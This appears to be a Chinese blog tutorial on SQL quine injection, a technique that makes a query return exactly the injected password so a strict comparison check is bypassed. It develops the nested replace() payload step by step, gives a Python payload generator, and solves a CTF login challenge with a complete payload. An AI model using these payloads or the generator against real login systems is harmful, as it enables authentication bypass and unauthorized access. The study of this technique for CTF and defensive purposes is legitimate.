SQL quine注入

简介

  Quine 注入 是一种特殊的 SQL 注入 技术,其核心思想是利用 自生成代码(Quine) 的特性,构造一个 Payload,使得注入的 SQL 代码在执行时能够 自我复制 或 自我生成,也就是输入输出一致,从而绕过限制登录

原理

  由于需要对输入输出进行强对比,在这里我们需要用到一个比较特殊的函数,replace 函数,语法如下:
REPLACE(str, from_str, to_str)

  • str:原始字符串,需要进行替换的字符串。
  • from_str:需要被替换的子字符串。
  • to_str:替换后的新子字符串。

  语法很简单,如下面这个例子一般会将'aaab'中的'b'替换为'c'.
图片

  同时,这里还有几个常见字符需要我们知道。

CHAR(34)="
CHAR(39)='
CHAR(33)=!

构造

  接下来我们开始构造 quine 语句,先来个简单的语句练练手。

select replace(".",char(46),".");

图片

  这里实际上就是将点替换为点,看上去没什么用,对吧。我们接下来再看这个 quine 语句:

select replace('replace(".",char(46),".")',char(46),'.');

图片

  这里,我们用到了 replace 函数的嵌套,语句返回了replace(".",char(46),".")。从这里我们可以初见一些端倪,发现返回的值不就是原先 replace 函数嵌套内的语句嘛。那么,如果我们再加一层 replace 函数进行嵌套,返回的内容又会怎么样呢?
我们来看看这个语句:

select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');

  返回结果如下:
图片
  这样看来,我们几乎使得输入输出的内容是一模一样了,但是,依旧还有单双引号的区别。
  那么,我们如何才能真正达到我们的目的呢?
  当我们这样考虑,如果先将双引号替换为单引号,再用上我们之前的语句,是不是就可以解决这个问题呢?这个想法也很好实现,无非就是再套一层 replace 函数罢了。
  所以我们接下来先构造出一个简单的双引号替换单引号的语句:

select replace(replace('"."',char(34),char(39)),char(46),".");

图片

  这里内层的 replace 没有用单引号包裹,说明是先执行内层的 replace ,再执行的外层的 replace,最终返回 <font style="background-color:rgba(0, 0, 0, 0.06);">'.'</font>,至此已经解决的引号不同的问题。
  接下来,我们就可以正式开始构造 payload 了:

select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');

  为方便理解,我们换个方式写这个 payload:

replace(
  replace(
    'replace(replace(".",char(34),char(39)),char(46),".")',
    char(34),
    char(39)
  ),
  char(46),
  'replace(replace(".",char(34),char(39)),char(46),".")'
);

  第一步,代码会先执行内部 replace 函数,即绿色部分语句,它会将双引号替换为单引号。得到:
    'replace(replace('.',char(34),char(39)),char(46),'.')'
  然后,我们就可以整体执行最外层 replace 函数,得到:
    replace(replace(".",char(34),char(39)),char(46),".")
  最后我们就能得到:

replace(replace("replace(replace(".",char(34),char(39)),char(46),".")",char(34),char(39)),char(46),"replace(replace(".",char(34),char(39)),char(46),".")")

图片

  这一次,我们就会发现输入输出完全一样了。

总结

  这一套构造流程走下来,基本就已经对 SQL 的 quine 注入有了较为详细的了解。
总结一下:

Quine基本形式:

replace(replace(‘str’,char(34),char(39)),char(46),‘str’)

先将str里的双引号替换成单引号,再用str替换str里的.

str基本形式(可以理解成上面的".")

replace(replace(".",char(34),char(39)),char(46),".")

完整的Quine就是Quine基本形式+str基本形式

  这里也从网上找到了一个好用的 payload 构造脚本:

sql = input ("输入你的sql语句,不用写关键查询的信息  形如 1'union select #\n")
sql2 = sql.replace("'",'"')
base = "replace(replace('.',char(34),char(39)),char(46),'.')"
final = ""
def add(string):
    if ("--+" in string):
        tem = string.split("--+")[0] + base + "--+"
    if ("#" in string):
        tem = string.split("#")[0] + base + "#"
    return tem
def patch(string,sql):
    if ("--+" in string):
        return sql.split("--+")[0] + string + "--+"
    if ("#" in string):
        return sql.split("#")[0] + string + "#"

res = patch(base.replace(".",add(sql2)),sql).replace(" ","/**/").replace("'.'",'"."')

print(res)

图片

例题

[第五空间 2021]yet_another_mysql_injection

<?php
include_once("lib.php");
function alertMes($mes,$url){
    die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
    $username=$_POST['username'];
    $password=$_POST['password'];
    if ($username !== 'admin') {
        alertMes('only admin can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
    $user_result=mysqli_query($con,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes("something wrong",'index.php');
    }
    if ($row['password'] === $password) {
        die($FLAG);
    } else {
    alertMes("wrong password",'index.php');
  }
}

if(isset($_GET['source'])){
  show_source(__FILE__);
  die;
}
?>
<!-- /?source -->
<html>
    <body>
        <form action="/index.php" method="post">
            <input type="text" name="username" placeholder="账号"><br/>
            <input type="password" name="password" placeholder="密码"><br/>
            <input type="submit" / value="登录">
        </form>
    </body>
</html>

  判断 username 是否为 admin,过滤了很多盲注的函数,还过滤了空格,不打盲注,但貌似也有人用盲注打出来了,对传入的 password 进行强比较,直接用 quine 注入,用上面的脚本构造出payload

1' union select 1,2,3 #

  构造 payload 为:

1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

参考文档:
https://xz.aliyun.com/news/17210
https://cloud.tencent.com/developer/article/2287111

posted @ 2026-05-19 22:14  kivvs  阅读(24)  评论(0)    收藏  举报